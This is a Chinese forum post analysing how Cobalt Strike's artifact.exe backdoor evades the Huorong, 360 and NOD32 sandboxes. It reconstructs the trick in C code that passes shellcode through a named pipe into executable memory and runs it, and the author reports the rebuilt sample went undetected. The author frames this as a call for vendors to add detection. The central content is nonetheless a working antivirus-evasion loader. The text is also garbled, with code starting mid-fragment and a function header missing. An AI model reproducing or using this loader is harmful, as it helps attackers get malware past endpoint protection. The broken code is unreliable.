首页| 论坛| 搜索| 消息
主题:CobaltStrike木马artifact.exe规避火绒,360,node32沙盒的方法分析
z3960发表于 2019-11-03 06:29
最近发现一个奇怪的现象,我用CobaltStrike直接生成一个裸奔测试后门artifact.exe 然后使用火绒扫描,火绒居然没有直接查杀 自己上线自己 按理说这种被渗透人员大量使用的后门,不管它原本使用了哪些牛逼的沙盒绕过手法都应该被直接特征码定位查杀,根本不不用杀软沙盒分析。很明显,火绒应该是忘了加针对CobaltStrike的特征码,然后使用后一步的沙盒分析但是不幸的是,沙盒分析也被CobaltStrike规避了。所以进一步分析 代码使用了GCC MinGW编译,程序有两个TLS回调,分析了一遍,感觉并没有什么卵用,应该就是GCC编译后,main函数之前的初始化吧,判断了一下winmajor这个全局变量,看名字和系统版本相关Winmajor0){BOOL ret=ReadFile(hFile, ((char*)lpBuffer + offset), nNumberOfBytesToRead, &readSize, NULL);if (!ret){break;}nNumberOfBytesToRead -= readSize;offset += readSize;}CloseHandle(hFile);}return nNumberOfBytesToRead == 0;} bool pipServer(LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite){DWORD offset = 0;DWORD writeSize = 0;HANDLE hFile = CreateNamedPipeA("\\.\xxx\yyy", 2u, 0, 1u, 0, 0, 0, 0);if (hFile != INVALID_HANDLE_VALUE){if (ConnectNamedPipe(hFile, 0)){while (nNumberOfBytesToWrite>0){BOOL ret = WriteFile(hFile, ((char*)lpBuffer + offset), nNumberOfBytesToWrite, &writeSize, NULL);if (!ret){break;}nNumberOfBytesToWrite -= writeSize;offset += writeSize;}CloseHandle(hFile);}}return nNumberOfBytesToWrite == 0;} DWORD WINAPI PipWrite(LPVOID){pipServer(data, sizeof(data));return 0;} int main(int argc, _TCHAR* argv[]){CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)PipWrite, NULL, 0, NULL);Sleep(600);char *buff = (char*)VirtualAlloc(0, sizeof(data), 0x3000u, 4u);pipClient(buff, sizeof(data));//解密部分算法DWORD flOldProtect = 0;VirtualProtect(buff, sizeof(data), 0x20u, &flOldProtect);CreateThread(0, 0, (LPTHREAD_START_ROUTINE)StartAddress, buff, 0, 0);while (true){Sleep(1000);}return 0;}开启火绒,直接上线 继续测试node32,提示安全 测试360安全卫士+360杀毒小红书,QVM引擎全开联网查杀,提示安全 哇,这个真的是。。。呼吁杀软厂商感觉把这种过沙盒的方法列入查杀对象
回帖(2):
2 # 任逍遥
11-03 12:44
不错,了解了
1 # 任逍遥
11-03 12:44
来看一下

全部回帖(2)»
最新回帖
收藏本帖
发新帖